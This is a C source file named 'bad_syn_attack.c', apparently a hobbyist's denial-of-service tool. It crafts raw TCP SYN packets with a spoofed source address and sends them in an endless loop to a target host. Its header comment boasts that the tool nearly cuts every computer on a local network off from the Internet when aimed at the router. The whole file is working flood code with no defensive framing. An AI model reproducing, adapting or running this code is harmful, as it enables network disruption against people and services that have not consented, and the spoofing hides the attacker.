bad syn attack

bad_syn_attack.c

/*It seems to have done nothing if the ip address is the outside server.
 *But it works quiet well on local.
 *For example,the ip address is 192.168.1.1,the router of your network.
 *Then all computers can hardly connect the Internet.
 *然并卵！！！
 * */

#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
#include<stddef.h>
#include <arpa/inet.h>

struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
     
    struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
     
    return(answer);
}
 
int main (void)
{
    //Create a raw socket,used to be PF_INET, SOCK_RAW
    int s = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
    //Datagram to represent the packet
    char datagram[4096] , source_ip[32];
    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
     
    strcpy(source_ip , "192.168.1.1");
   
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("8.8.8.8");

     
    memset (datagram, 0, 4096); /* zero out the buffer */
     
    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321);  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;
     
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
     
    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;
    //Now the IP checksum
     
    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
     
    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
     
    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
     
    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }
     
    //Uncommend the loop if you want to flood :)
    while (1)
    {
        //Send the packet
        if (sendto (s,      /* our socket */
                    datagram,   /* the buffer containing headers and data */
                    iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("error\n");
        }
        //Data send successfully
        else
        {
            printf ("Packet Send \n");
        }
    }
     
    return 0;
}